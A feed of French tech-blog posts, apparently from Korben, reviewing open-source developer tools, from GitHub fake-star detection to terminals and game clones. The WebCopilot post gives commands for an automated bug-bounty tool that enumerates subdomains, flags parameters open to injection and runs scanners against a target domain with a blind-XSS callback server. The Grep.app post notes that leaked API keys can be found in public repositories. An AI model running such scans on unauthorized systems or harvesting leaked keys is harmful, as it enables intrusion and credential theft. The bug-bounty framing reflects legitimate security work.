Puis quand on voit des projets comme Julius pour Caesar III, fheroes2 pour Heroes of Might and Magic II, ou OpenTTD pour Transport Tycoon Deluxe, je le dit que la communauté open source fait un boulot incroyable pour préserver et améliorer ces classiques. Ces développeurs permettent à toute une génération de redécouvrir ces jeux mythiques sans avoir à galérer avec DOSBox ou des émulateurs.

Le plus impressionnant reste peut-être re3 et ses dérivés qui ont reverse-engineered GTA III et Vice City, même si Rockstar n’a pas vraiment apprécié l’initiative et l’a fait disparaitre. Ou OpenJK qui maintient et améliore Jedi Academy et Jedi Outcast pour la communauté Star Wars.

Voilà et si vous cherchez par où commencer, le site propose des tags “complete” et “playable” pour identifier rapidement les projets les plus aboutis. Vous pouvez aussi filtrer par langage de programmation si vous voulez contribuer à un projet dans votre langage de prédilection.

Bref, OSGameClones c’est la ressource ultime pour tous les nostalgiques du gaming qui veulent revivre leurs souvenirs d’enfance tout en profitant des bénéfices du monde de l’open source !

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  • GHBuster - Le détecteur de comptes GitHub bidons de DataDog
    Saviez-vous qu’il y a plus de 3,7 millions de fausses étoiles qui polluent GitHub , et que 16% des repos étaient déjà touchés fin 2024. C’est pour cela que DataDog a sorti GHBuster , un outil qui détecte justement les comptes et repos GitHub suspects grâce à des algos heuristiques bien senties. Le principe c’est qu’au lieu de chercher bêtement des patterns, GHBuster analyse plusieurs comportements louches en même temps. Genre, il repère quand un repo a plein d’étoiles venant de comptes créés le

GHBuster - Le détecteur de comptes GitHub bidons de DataDog

Par : Korben
9 septembre 2025 à 08:06

Saviez-vous qu’il y a plus de 3,7 millions de fausses étoiles qui polluent GitHub , et que 16% des repos étaient déjà touchés fin 2024. C’est pour cela que DataDog a sorti GHBuster , un outil qui détecte justement les comptes et repos GitHub suspects grâce à des algos heuristiques bien senties.

Le principe c’est qu’au lieu de chercher bêtement des patterns, GHBuster analyse plusieurs comportements louches en même temps. Genre, il repère quand un repo a plein d’étoiles venant de comptes créés le même jour et check aussi d’autres trucs sympas comme les commits avec des emails non liés au profil GitHub (pratique pour repérer les acteurs malveillants qui utilisent plusieurs comptes bidons). Il trouve aussi les utilisateurs qui n’ont que des forks de repos supprimés, ou ceux dont tous les commits viennent d’emails non vérifiés.

L’installation est super simple pour ceux qui veulent tester :

uv pip install "git+https://github.com/DataDog/ghbuster.git"
export GITHUB_TOKEN=votre_token_github
ghbuster

Et le problème de ces fausses “étoiles”, c’est un phénomène qui prend de l’ampleur et ces repos vérolés contiennent souvent des malwares cachés dans des logiciels piratés, des cheats de jeux ou des bots crypto.

DataDog ne s’arrête pas là car ils ont aussi intégré GHBuster dans leur suite de sécurité Cloud SIEM. Ça permet de monitorer en temps réel les activités suspectes sur GitHub, comme l’ajout de clés SSH depuis des IP douteuses ou la désactivation du secret scanning.

Pour les devs et les entreprises, c’est un vrai casse-tête car comment faire confiance à un repo avec 10 000 étoiles si la moitié sont bidons ? GHBuster apporte heureusement une partie de la réponse en permettant d’identifier rapidement les patterns suspects.

DataDog recommande aussi de configurer vos filtres web pour surveiller le trafic GitHub et détecter les téléchargements anormaux. Utilisez des outils de scan automatique comme GitGuardian ou GitHub Advanced Security pour repérer les malwares potentiels dans le code.

Je trouve ça cool de voir des boîtes comme DataDog partager leurs outils en open source et j’espère que GHBuster vous aidera à y voir un peu plus clair dans ce bazar sur GitHub.

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  • Memflix – Transformez vos données en vidéos MP4 consultables instantanément
    Ça va, pas trop chaud ? Alors tant mieux, parce que je vais vous faire avoir une petite suée tellement ce truc est cool ! Ça s’appelle Memflix et c’est une bibliothèque JavaScript qui transforme vos documents texte en… fichiers vidéo MP4 ! Oui, vous avez bien lu. Et le plus fou, c’est que vous pouvez ensuite faire des recherches sémantiques ultra-rapides dans ces vidéos. L’idée est tellement simple qu’elle en devient géniale car au lieu de stocker vos données dans une base de données traditionne

Memflix – Transformez vos données en vidéos MP4 consultables instantanément

Par : Korben
27 juin 2025 à 17:08

Ça va, pas trop chaud ? Alors tant mieux, parce que je vais vous faire avoir une petite suée tellement ce truc est cool ! Ça s’appelle Memflix et c’est une bibliothèque JavaScript qui transforme vos documents texte en… fichiers vidéo MP4 ! Oui, vous avez bien lu. Et le plus fou, c’est que vous pouvez ensuite faire des recherches sémantiques ultra-rapides dans ces vidéos.

L’idée est tellement simple qu’elle en devient géniale car au lieu de stocker vos données dans une base de données traditionnelle, Memflix encode tout dans des QR codes qui sont ensuite intégrés frame par frame dans une vidéo. Résultat ? Un stockage 10 fois plus efficace qu’une base de données classique et des recherches qui prennent moins d’une seconde, même sur des millions de chunks de texte.

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  • Anthropic Cookbook - Claude devient encore plus accessible aux devs
    À l’époque, quand on voulait faire de l’IA, fallait un doctorat et 6 mois pour comprendre TensorFlow. Et aujourd’hui ? C’est Claude qui devient enfin accessible au commun des mortels (au moins pour les mortels un peu dev ^^). L’Anthropic Cookbook, qu’est-ce que c’est exactement ? Eh bien imaginez un bouquin de recettes, mais au lieu de faire des crêpes, vous y apprendrez à transformer Claude en assistant développeur. C’est une collection officielle de notebooks Jupyter qui vous montre comment ex

Anthropic Cookbook - Claude devient encore plus accessible aux devs

Par : Korben
18 juin 2025 à 07:36

À l’époque, quand on voulait faire de l’IA, fallait un doctorat et 6 mois pour comprendre TensorFlow. Et aujourd’hui ? C’est Claude qui devient enfin accessible au commun des mortels (au moins pour les mortels un peu dev ^^).

L’Anthropic Cookbook, qu’est-ce que c’est exactement ? Eh bien imaginez un bouquin de recettes, mais au lieu de faire des crêpes, vous y apprendrez à transformer Claude en assistant développeur. C’est une collection officielle de notebooks Jupyter qui vous montre comment exploiter Claude dans vos projets sans vous arracher les cheveux.

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  • Ghore – Convertissez vos fichiers Markdown en HTML façon GitHub
    Vous êtes développeur ou rédacteur et vous travaillez souvent avec GitHub ? Alors laissez-moi vous présenter Ghore, un outil en ligne de commande qui va changer votre façon de prévisualiser vos fichiers Markdown avant de les committer ! Ghore est un outil open-source qui convertit simplement vos fichiers Markdown en HTML, en imitant à la perfection le style de rendu de GitHub. Fini le temps où vous deviez pusher vos modifications pour voir à quoi ressemblera votre README.md une fois sur Git

Ghore – Convertissez vos fichiers Markdown en HTML façon GitHub

Par : Korben
19 août 2024 à 09:00

Vous êtes développeur ou rédacteur et vous travaillez souvent avec GitHub ? Alors laissez-moi vous présenter Ghore, un outil en ligne de commande qui va changer votre façon de prévisualiser vos fichiers Markdown avant de les committer !

Ghore est un outil open-source qui convertit simplement vos fichiers Markdown en HTML, en imitant à la perfection le style de rendu de GitHub. Fini le temps où vous deviez pusher vos modifications pour voir à quoi ressemblera votre README.md une fois sur GitHub. Là, vous aurez un aperçu instantané, directement dans votre terminal :

  • Vous pouvez l’utiliser complètement hors-ligne. Pas besoin d’Internet pour faire mumuse avec vos fichiers Markdown. Vous pouvez même l’utiliser dans un bunker anti-atomique, si ça vous chante !
  • Il surveille automatiquement les changements dans votre fichier Markdown et met à jour le rendu HTML en temps réel. C’est un peu comme si Ghore lisait dans vos pensées et anticipait vos moindres modifications. Flippant et génial à la fois.
  • Vous aimez les blocs de code colorés et syntaxiquement parfaits ? Ghore aussi ! Grâce à l’intégration de Starry Night, vos blocs de code n’ont jamais été aussi beaux. C’est presque un plaisir de lire du code dans le terminal.
  • Cerise sur le gâteau, Ghore prend en charge la prévisualisation en direct des blocs de code Mermaid. Vous savez, ces diagrammes super pratiques qu’on peut faire en Markdown ? Eh bien, même l’API de GitHub ne les prend pas en charge nativement, mais Ghore, si ! Vous allez pouvoir épater vos collègues avec vos diagrammes interactifs.

Bref, pour utiliser Ghore, rien de plus simple. Clonez le dépôt, installez les dépendances avec npm, et vous êtes prêt à convertir vos fichiers Markdown en un clin d’œil.

git clone https://github.com/p-balu/ghore.git

cd ghore

npm install

npm start votre/fichier/README.md

Et si vous voulez personnaliser le rendu HTML, pour mettre du Comic Sans rose fluo sur fond vert, allez-y, personne ne vous jugera (enfin, presque) ! Ghore vient en effet, avec son propre fichier CSS que vous pouvez tripatouiller à votre guise.

C’est dispo ici.

  • ✇Korben
  • YouTube Incognito Mode pour naviguer discrètement sans traces
    Ce bon vieux YouTube est toujours là pour nous divertir avec ses vidéos à n’en plus finir mais parfois, on aimerait bien pouvoir y faire un petit tour incognito, histoire de regarder tranquillou ce qui nous chante sans que ça nous colle à la peau ad vitam aeternam. Vous voyez ce que je veux dire ? Vous matez une interview d’artiste ou quelques vidéos de chats et PAF, votre page d’accueil ne vous recommande quasiment plus que ça ! Ou alors, vous vous laissez tenter par quelques tutos de bricolag

YouTube Incognito Mode pour naviguer discrètement sans traces

Par : Korben
13 août 2024 à 09:00

Ce bon vieux YouTube est toujours là pour nous divertir avec ses vidéos à n’en plus finir mais parfois, on aimerait bien pouvoir y faire un petit tour incognito, histoire de regarder tranquillou ce qui nous chante sans que ça nous colle à la peau ad vitam aeternam. Vous voyez ce que je veux dire ? Vous matez une interview d’artiste ou quelques vidéos de chats et PAF, votre page d’accueil ne vous recommande quasiment plus que ça ! Ou alors, vous vous laissez tenter par quelques tutos de bricolage et là, c’est le drame : YouTube s’imagine que vous êtes MacGyver et vous spamme de suggestions pour construire un palace avec trois briquettes et un trombone… Bonjour l’angoisse !

Mais ne vous inquiétez pas, j’ai la solution à votre problème ! Laissez-moi vous présenter… roulements de tambourYouTube Incognito Mode ! Grâce à cette merveilleuse extension Chrome disponible sur GitHub, vous allez pouvoir vous balader sur YouTube comme un ninja des internets, sans laisser la moindre trace compromettante derrière vous.

Une fois l’extension installée, il vous suffit de vous rendre sur YouTube et de cliquer sur l’icône de YouTube Incognito Mode dans votre navigateur. Et là, vous serez propulsé dans une nouvelle fenêtre, où vous pourrez vaquer à vos occupations sans craindre que vos petits secrets ne soient dévoilés au grand jour.

Et non content de vous offrir une navigation privée digne de ce nom, cette extension va même jusqu’à bloquer les publicités pour vous !

Bref, plutôt cool comme petite extension. Ça se télécharge ici.

  • ✇Korben
  • Github2file – Partagez votre code avec les chatbots IA
    Qui ne s’est jamais dit : « Tiens, ce serait cool de filer tout mon code à mon chatbot pour qu’il puisse m’aider à débugger ce bazar« . Et bien c’est exactement ce que github2file permet de faire. Ce petit script Python va se connecter direct à votre dépôt GitHub, aspirer tout votre code en un clin d’œil et vous pondre un joli fichier texte bien propre, prêt à être envoyé à votre IA préférée. Et le top, c’est que vous pouvez filtrer les fichiers par langage (Python ou Go), virer les com

Github2file – Partagez votre code avec les chatbots IA

Par : Korben
1 août 2024 à 09:00

Qui ne s’est jamais dit : « Tiens, ce serait cool de filer tout mon code à mon chatbot pour qu’il puisse m’aider à débugger ce bazar« .

Et bien c’est exactement ce que github2file permet de faire.

Ce petit script Python va se connecter direct à votre dépôt GitHub, aspirer tout votre code en un clin d’œil et vous pondre un joli fichier texte bien propre, prêt à être envoyé à votre IA préférée. Et le top, c’est que vous pouvez filtrer les fichiers par langage (Python ou Go), virer les commentaires et les docstrings si ça vous chante, choisir la branche ou le tag à télécharger et même exclure certains répertoires ou types de fichiers. Bref, c’est vous le patron !

Tenez, un petit exemple pour la route. Disons que vous voulez balancer le code du célèbre dépôt Transformers de Hugging Face à votre chatbot.

Facile ! Suffit de taper ça dans votre terminal :

python github2file.py https://github.com/huggingface/transformers

Et vous voilà avec un fichier transformers_python.txt qui contient tout le code Python du dépôt. Si vous kiffez plus le Go, remplacez juste l’option --lang par "go" et le tour est joué. Easy !

Et si votre dépôt est privé, pas de panique, github2file a pensé à tout ! Balancez-lui votre nom d’utilisateur et un token d’accès personnel GitHub, et il se débrouillera comme un chef :

python github2file.py https://<USERNAME>:<GITHUB_ACCESS_TOKEN>@github.com/username/private-rep

Et voilà, fini les prises de tête pour partager votre code avec les chatbots ! Plus besoin de faire des copier-coller à rallonge ou d’uploader 36 fichiers à la main. Pour tester, c’est par ici que ça se passe.

Avec ça, vous avez toutes les cartes en main pour devenir des pros du partage de code avec les IA. Alors à vos claviers, et montrez-nous ce que vous savez faire ! 🙌

  • ✇Korben
  • Pages CMS – Le nouveau visage de la gestion de contenu
    Vous en avez assez de jongler entre Git et YAML pour mettre à jour votre site Next.js, Astro, Hugo ou Nuxt ? Simplifiez-vous la vie en installant un CMS convivial directement sur GitHub à l’aide de Pages CMS, la nouvelle coqueluche des gestionnaires de contenu pour les sites statiques. Avec cet outil, fini les prises de tête avec les fichiers de configuration et les commits laborieux puisqu’il s’intègre de manière transparente à votre dépôt GitHub, vous permettant de gérer votre contenu dir

Pages CMS – Le nouveau visage de la gestion de contenu

Par : Korben
30 juillet 2024 à 09:00

Vous en avez assez de jongler entre Git et YAML pour mettre à jour votre site Next.js, Astro, Hugo ou Nuxt ? Simplifiez-vous la vie en installant un CMS convivial directement sur GitHub à l’aide de Pages CMS, la nouvelle coqueluche des gestionnaires de contenu pour les sites statiques.

Avec cet outil, fini les prises de tête avec les fichiers de configuration et les commits laborieux puisqu’il s’intègre de manière transparente à votre dépôt GitHub, vous permettant de gérer votre contenu directement depuis une interface intuitive. Ainsi, vous pourrez personnaliser vos types de contenu, vos vues, votre recherche… et côté édition, vous profiterez d’un éditeur de texte riche avec coloration syntaxique, d’un glisser-déposer pour vos fichiers, d’une recherche full-text hyper rapide… Le tout saupoudré de fonctionnalités bien pensées comme la planification de mises à jour ou le contrôle d’accès granulaire.

Pages CMS est 100% gratuit, open source et vous pouvez l’utiliser en ligne ou l’auto-héberger sans débourser un centime. En quelques clics, vous créez votre compte, connectez votre dépôt GitHub et hop, vous voilà paré pour dompter votre contenu comme un pro. C’est beau, la vie de développeur, non ? 🌈

Bon, je vous vois venir avec vos grands chevaux. « Mais est-ce que ça va pas transformer mon dépôt en usine à gaz ?« . Que nenni ! Pages CMS est une simple appli front-end avec des fonctionnalités backend limitées. Ça tourne sur Cloudflare Pages et ça n’interfère en rien avec votre code. Et si vous voulez garder la main, vous pouvez toujours passer par Git pour les modifications sensibles.

En parlant de Git justement, je vous rassure tout de suite : Pages CMS n’a pas accès à TOUS vos dépôts. Il utilise le flux OAuth de GitHub pour des autorisations ciblées. Et vos tokens d’accès ne sont jamais stockés côté serveur. Votre code reste votre précieux, comme dirait Gollum.

Pour l’installer, rendez-vous sur pagescms.org, créez votre compte en deux clics et connectez votre dépôt GitHub. Et voilà, vous êtes prêt à dompter votre contenu. Et pour les adeptes de l’auto-hébergement, comptez 10 petites minutes pour déployer Pages CMS sur votre compte Cloudflare.

Sur ce, je vous laisse, j’ai du contenu à publier moi. Allez, tchô la compagnie ! 👋

  • ✇Korben
  • CamSimulate – Un simulateur de caméra pour les développeurs
    Vous en avez marre de devoir sortir votre smartphone ou votre webcam à chaque fois que vous voulez tester votre dernière application qui a besoin d’un périphérique vidéo pour fonctionner ? Et bien grâce à CamSimulate, vous pouvez tester votre app tranquillement depuis votre PC, sans avoir besoin d’une caméra physique. C’est hyper flexible car vous pouvez simuler différents types de caméras et jouer avec de nombreux paramètres comme la résolution, le FOV, etc. Techniquement, c’est une ap

CamSimulate – Un simulateur de caméra pour les développeurs

Par : Korben
20 juillet 2024 à 09:00

Vous en avez marre de devoir sortir votre smartphone ou votre webcam à chaque fois que vous voulez tester votre dernière application qui a besoin d’un périphérique vidéo pour fonctionner ?

Et bien grâce à CamSimulate, vous pouvez tester votre app tranquillement depuis votre PC, sans avoir besoin d’une caméra physique. C’est hyper flexible car vous pouvez simuler différents types de caméras et jouer avec de nombreux paramètres comme la résolution, le FOV, etc.

Techniquement, c’est une application Python qui streame des vidéos depuis un fichier local ou une URL vers les périphériques vidéo de votre machine comme ça, si vous n’avez pas de webcam à dispo, c’est pas un souci. L’outil utilise v4l2loopback pour créer un périphérique vidéo virtuel et pour streamer la vidéo sélectionnée vers le périphérique, il fait appel à ffmpeg.

Attention tout de même, CamSimulate ne fonctionne que sur Linux. Mais si c’est votre cas, il vous suffit de cloner le repo GitHub, d’installer v4l2loopback avec la commande

sudo apt install v4l2loopback-dkms

puis de lancer le fichier main.py.

Vous n’avez plus qu’à choisir votre périphérique vidéo, sélectionner un fichier local ou entrer l’URL directe d’une vidéo en ligne, et le tour est joué ! Par contre n’en profitez pas pour diffuser une vidéo pré-enregistrée de vous lors de la prochaine visio du boulot, afin d’aller taper une sieste.

Et en plus c’est gratuit et open source. Alors qu’est-ce que vous attendez pour l’essayer ?

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  • Pour 100 briques t'as plus rien : le navigateur Ladybird reçoit un million de brouzoufs
    Après les multiples dons de 100.000 $, le projet de navigateur web Ladybird reçoit 1 million de dollars du fondateur de Github. Dans la foulée, le projet se dote d'une fondation de droit américain dont les statuts interdisent toute forme de dons ou de financements intéressés (cf. Google qui rémunère Mozilla pour être le moteur de recherche par défaut de Firefox). Et bien sûr un site web tout neuf pour célébrer tout ça. Trois développeurs sont engagés (en plus d'Andreas Kling) et trois autre

Pour 100 briques t'as plus rien : le navigateur Ladybird reçoit un million de brouzoufs

4 juillet 2024 à 06:36

Après les multiples dons de 100.000 $, le projet de navigateur web Ladybird reçoit 1 million de dollars du fondateur de Github.

Dans la foulée, le projet se dote d'une fondation de droit américain dont les statuts interdisent toute forme de dons ou de financements intéressés (cf. Google qui rémunère Mozilla pour être le moteur de recherche par défaut de Firefox). Et bien sûr un site web tout neuf pour célébrer tout ça.

logo du navigateur Ladybird

Trois développeurs sont engagés (en plus d'Andreas Kling) et trois autres arrivent (inutile de postuler, ça ne devrait pas augmenter : Andréas préfère une petite équipe et veut toujours avoir les fonds pour un an et demi de salaires d'avance).

Une version alpha est prévue pour 2026. L'équipe utilise déjà Ladybird pour travailler sur ses sites préférés — Github, Discord, HackerNews… avis aux amateurs ! À ceux qui pensent toujours que créer un nouveau moteur de rendu et un navigateur est un projet voué à l'échec, remarquez de quelles pointures viennent les dons et les encouragements, le dernier en date étant Colin Hayhurst, créateur du moteur de recherche Mojeek.

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  • WebCopilot : L’ultime outil d’automatisation pour les chasseurs de bugs 🚀
    Les chasseurs de bugs et les experts en sécurité web sont toujours à la recherche d’outils pour optimiser leur boulot et dénicher des vulnérabilités et justement, il y a un nouveau venu qui risque bien de faire parler de lui : WebCopilot ! Open source, cet outil d’automatisation combine les fonctionnalités de dizaines d’autres outils réputés comme Subfinder, Nuclei, Amass ou encore SQLMap histoire de vous faire gagner un temps précieux en prenant en charge de A à Z les tâches répétitives et

WebCopilot : L’ultime outil d’automatisation pour les chasseurs de bugs 🚀

Par : Korben
19 mai 2024 à 09:00

Les chasseurs de bugs et les experts en sécurité web sont toujours à la recherche d’outils pour optimiser leur boulot et dénicher des vulnérabilités et justement, il y a un nouveau venu qui risque bien de faire parler de lui : WebCopilot !

Open source, cet outil d’automatisation combine les fonctionnalités de dizaines d’autres outils réputés comme Subfinder, Nuclei, Amass ou encore SQLMap histoire de vous faire gagner un temps précieux en prenant en charge de A à Z les tâches répétitives et chronophages de l’énumération des sous-domaines, du filtrage des paramètres à risque et du scan des vulnérabilités les plus critiques.

Pour cela, il suffit de lancer WebCopilot sur un domaine cible et il s’occupe de tout :

  • Énumération des sous-domaines via une batterie d’outils (Assetfinder, Sublist3r, Amass, Findomain…)
  • Crawl de tous les endpoints des sous-domaines identifiés
  • Filtrage des paramètres potentiellement vulnérables aux failles XSS, SQLi, LFI, SSRF, Open Redirect… grâce aux patterns de l’outil gf
  • Et enfin, scan des vulnérabilités via des outils comme Nuclei, Dalfox, kxss, SQLMap ou crlfuzz

Vous obtiendrez ensuite un rapport complet qui répertoriera tous les points d’entrée intéressants.

             
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Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]

Flags:  
  -d        Add your target [Requried]
  -o        To save outputs in folder [Default: domain.com]
  -t        Number of threads [Default: 100]
  -b        Add your server for BXSS [Default: False]
  -x        Exclude out of scope domains [Default: False]
  -s        Run only Subdomain Enumeration [Default: False]
  -h        Show this help message

Example: webcopilot  -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your server

Fini les heures passées à lancer des dizaines de commandes et à corréler les résultats comme ça, vous pourrez vous concentrer sur l’analyse des vulnérabilités.

Côté utilisation, c’est ultra simple. Il suffit de cloner le repo Github, d’installer les dépendances…

git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.sh

…et vous pouvez lancer des scans en une seule commande :

webcopilot -d domain.com -o rapport

Et si vous voulez pousser la configuration plus loin, pas de problème ! WebCopilot propose tout un tas d’options bien pratiques comme :

  • -s pour ne faire que de l’énumération de sous-domaines
  • -x pour exclure certains domaines du scan
  • -b pour spécifier un serveur « blind XSS » externe
  • -t pour régler le nombre de threads et accélérer les scans

Bref, c’est l’outil pratique pour industrialiser encore un peu plus votre processus de bug bounty.

A découvrir ici !

  • ✇Korben
  • GitHub Copilot Workspace – L’environnement de dev piloté par l’IA !
    J’espère que vous êtes bien installés dans votre cockpit, parce que GitHub nous a reservé une sacrée surprise : Copilot Workspace, un environnement de développement nouvelle génération entièrement propulsé par l’IA. Vous connaissez sûrement déjà GitHub Copilot, ce fidèle acolyte qui nous assiste depuis l’année dernière en nous soufflant des suggestions de code directement dans votre IDE, et bien avec Copilot Workspace, GitHub veut carrément révolutionner la façon de concevoir des logiciels.

GitHub Copilot Workspace – L’environnement de dev piloté par l’IA !

Par : Korben
30 avril 2024 à 13:48

J’espère que vous êtes bien installés dans votre cockpit, parce que GitHub nous a reservé une sacrée surprise : Copilot Workspace, un environnement de développement nouvelle génération entièrement propulsé par l’IA.

Vous connaissez sûrement déjà GitHub Copilot, ce fidèle acolyte qui nous assiste depuis l’année dernière en nous soufflant des suggestions de code directement dans votre IDE, et bien avec Copilot Workspace, GitHub veut carrément révolutionner la façon de concevoir des logiciels.

L’idée est simple : vous exprimez ce que vous voulez faire en langage naturel, comme si vous discutiez avec votre pote développeur et Copilot Workspace vous aide à transformer votre concept en réalité, étape par étape.

Par exemple, si vous avez une idée de fonctionnalité à ajouter à votre projet, vous ouvrez Copilot Workspace, vous saisissez une description de ce que vous voulez faire, et hop ! L’IA analyse votre requête, génère un plan d’action détaillé, et vous guide tout au long du processus de développement.

Brainstorming, planification, implémentation, tests… Chaque phase est assistée par Copilot Workspace qui vous fera des suggestions, répondra à vos questions, et automatisera un maximum de tâches fastidieuses, le tout de manière transparente et collaborative.

Le top du top, c’est que tout est « steerable » comme ils disent chez GitHub. Cela veut dire que vous gardez le contrôle à tout moment et chaque suggestion de l’IA peut être affinée, modifiée ou rejetée selon vos désirs. Bref, vous restez le pilote et Copilot n’est que votre copilote (et gardez votre culotte) !

D’ailleurs, Copilot Workspace vous permet d’orienter le système via le langage naturel à 2 endroits : en modifiant la spécification (une description de la base de code actuelle et de l’état souhaité) et en modifiant le plan (une liste d’actions à entreprendre dans chaque fichier). Cela vous permet de guider le système vers la solution que vous souhaitez mettre en œuvre. Cette capacité de pilotage est essentielle, car elle permet aux développeurs de dépasser les limites de la taille des suggestions, en imitant la façon dont ils travaillent sur des problèmes réels. Cela se traduit par un code généré plus précis et plus facile à évaluer.

Une fois votre code écrit, vous pouvez le valider et l’exécuter directement dans l’environnement, histoire de vérifier que tout roule comme sur des roulettes. Chaque Copilot Workspace permet une synchronisation en direct avec les Codespaces, ce qui vous permet d’ouvrir un terminal, d’installer des dépendances et d’exécuter votre code directement depuis l’espace de travail. Et si vous avez besoin d’outils plus avancés, hop, vous basculez dans un Codespace pour retrouver une expérience d’IDE complète dans le cloud, avec un serveur exécutant VS Code.

Côté collaboration, vous pouvez partager un instantané de votre Workspace avec vos petits camarades en un clic, pour recueillir leur feedback ou les laisser expérimenter leurs propres idées. S’ils font partie de la preview technique, ils pourront même forker votre Workspace et itérer dessus. Par contre, si vous apportez des modifications à votre Workspace après l’avoir partagé, ces changements ne seront pas reflétés dans la version partagée. Il faudra alors partager un nouveau lien pour transmettre la dernière mouture.

Et le plus chouette, c’est que Copilot Workspace est accessible de partout, même depuis votre smartphone. Comme ça, la prochaine fois que vous avez une illumination en faisant vos courses, vous pourrez directement la prototyper depuis le rayon fromages du supermarché !

Avec cette annonce, GitHub affiche clairement son ambition : démocratiser le développement logiciel en le rendant plus intuitif, plus naturel, plus humain en somme. Leur vision à long terme c’est un monde où tout le monde peut coder aussi simplement qu’on fait du vélo et je dois dire que je suis plutôt emballé par cette perspective puisque je fonctionne déjà comme ça pour mes projets de dev grâce notamment à Cursor.

Sous le capot, Copilot Workspace est propulsé par le modèle GPT-4 Turbo, que les équipes de GitHub ont jugé le plus performant pour cette tâche après avoir testé de nombreuses alternatives. D’ailleurs, c’est intéressant de comparer Copilot Workspace avec les autres fonctionnalités de la gamme Copilot.

Là où Copilot vous aide à écrire du code en faisant des suggestions au fur et à mesure que vous tapez, et où Copilot Chat permet de discuter des changements potentiels, Copilot Workspace est un véritable environnement de développement orienté tâches, qui planifie et rédige des modifications coordonnées sur plusieurs fichiers. Chacun de ces outils a son utilité, et ils se complètent à merveille.

GitHub a surtout compris l’importance d’impliquer les développeurs dans cette aventure. C’est pour ça qu’ils lancent Copilot Workspace en technical preview, histoire de recueillir un maximum de feedback et d’itérer en fonction. Si ça vous tente de jouer les beta-testeurs, c’est par ici pour vous inscrire !

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  • ✇Korben
  • Explorez les secrets des dépôts Git avec Grep.app
    Vous êtes-vous déjà demandé ce qui se cache dans les profondeurs obscures des dépôts Git publics ? Eh bien, figurez-vous qu’il y a un outil en ligne qui permet de dénicher des trucs de dingue ! Ça s’appelle Grep.app et c’est un moteur de recherche qui va vous faire halluciner. Concrètement, vous balancez votre recherche dans la barre et hop, ça vous sort tous les résultats où votre mot-clé apparaît dans les repos Git publics. Genre, vous tapez une adresse email et vous tombez sur tous les

Explorez les secrets des dépôts Git avec Grep.app

Par : Korben
19 avril 2024 à 09:00

Vous êtes-vous déjà demandé ce qui se cache dans les profondeurs obscures des dépôts Git publics ? Eh bien, figurez-vous qu’il y a un outil en ligne qui permet de dénicher des trucs de dingue ! Ça s’appelle Grep.app et c’est un moteur de recherche qui va vous faire halluciner.

Concrètement, vous balancez votre recherche dans la barre et hop, ça vous sort tous les résultats où votre mot-clé apparaît dans les repos Git publics. Genre, vous tapez une adresse email et vous tombez sur tous les endroits où elle est mentionnée. Mais attention, hein… Y a pas que des trucs anodins qui traînent dans ces dépôts. Si vous cherchez un peu, vous pouvez même tomber sur des clés d’API AWS ou Google !

Bon, après faut pas déconner non plus. Si vous tombez sur des clés dans un dépôt public, considérez-les comme grillées direct. Même si le dépôt est supprimé par la suite, y a plein de petits malins qui font ce genre de recherches régulièrement. Donc méfiance !

Cela dit, Github a quand même mis en place un système d’alerte pour les clés, mots de passe, etc qui se retrouvent dans le code. Du coup, y a des chances que la plupart soient invalidées assez vite, soit par le développeur qui change sa clé, soit direct par le fournisseur. Mais on n’est jamais trop prudent…

En parlant de Github, ils ont aussi leur propre outil de recherche de code qui est plutôt balèze. Ça s’appelle Github Code Search. Ça indexe environ 45 millions de dépôts, ce qui est déjà pas mal !

En gros, ils utilisent un moteur de recherche maison qui indexe le contenu avec une technique appelée « sparse ngrams ». D’après eux, ça permet d’exécuter les recherches plus rapidement, tout en étant un index plus petit. Si vous voulez en savoir plus sur la technologie derrière, ils ont publié un article de blog super intéressant.

Maintenant, est-ce que Grep.app est à la hauteur face à Github Code Search ? Difficile à dire… Une chose est sûre, c’est que Grep.app a l’air de se concentrer uniquement sur le code en lui-même. Donc si vous cherchez des chaînes de texte dans de la prose qui se retrouve dans des recherches de code, vous risquez de passer à côté avec Grep.app. Genre pour chercher dans des fichiers texte ou Markdown.

Et ça, c’est un peu dommage. Parce que des fois, on a besoin de chercher du code avec plein de caractères spéciaux vicieux. Et là, la recherche de code actuelle de Github nous laisse tomber. Mais bon, on peut pas tout avoir non plus… En attendant, Grep.app reste quand même un outil bien pratique pour dénicher des infos cachées dans les entrailles de Git. Et puis c’est gratuit et open-source en plus !

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  • Alacritty – Le terminal nouvelle génération ultra rapide
    Envie d’un terminal nouvelle génération qui allie performance et flexibilité ? Ne cherchez plus, Alacritty est fait pour votre bonheur ! Disponible sur toutes les plateformes qui comptent (Linux, macOS, Windows, BSD ^^), ce terminal au look sobre et épuré cache sous son capot une configuration ultra complète. Pas besoin de réinventer la roue, Alacritty s’intègre avec vos applications préférées pour vous offrir une expérience sur-mesure sans compromis sur la vitesse. Bon OK, c’est encore un

Alacritty – Le terminal nouvelle génération ultra rapide

Par : Korben
7 avril 2024 à 09:00

Envie d’un terminal nouvelle génération qui allie performance et flexibilité ? Ne cherchez plus, Alacritty est fait pour votre bonheur !

Disponible sur toutes les plateformes qui comptent (Linux, macOS, Windows, BSD ^^), ce terminal au look sobre et épuré cache sous son capot une configuration ultra complète. Pas besoin de réinventer la roue, Alacritty s’intègre avec vos applications préférées pour vous offrir une expérience sur-mesure sans compromis sur la vitesse. Bon OK, c’est encore un peu jeune, il est un peu long à configurer et il reste quelques fonctionnalités à ajouter et bugs à corriger, mais ça n’empêche pas de nombreux baroudeurs du shell de l’utiliser quotidiennement. YOLO comme on dit.

Mais Alacritty, c’est pas qu’un simple émulateur de terminal de base. Il embarque des features bien pratiques pour améliorer la vie des accros de la ligne de commande :

  • Vous aimez vim ? Ça tombe bien, avec le mode Vi vous pouvez retrouver vos réflexes pour vous déplacer et sélectionner du texte.
  • Vous avez la flemme de scroller manuellement pour retrouver une commande ou une erreur ? Utilisez la recherche intégrée pour localiser ce que vous voulez en un clin d’œil.
  • Vous en avez marre de jongler entre votre souris et votre clavier ? Avec les hints façon regex, plus besoin de quitter le clavier, interagissez avec n’importe quel texte à l’écran.
  • Votre PC rame quand vous ouvrez 10 terminaux en même temps ? Pas de problème, avec le mode multi-fenêtres , un seul process Alacritty est partagé intelligemment.

Et je vous ai parlé que de quelques fonctionnalités, y’en a bien d’autres à découvrir dans la doc.

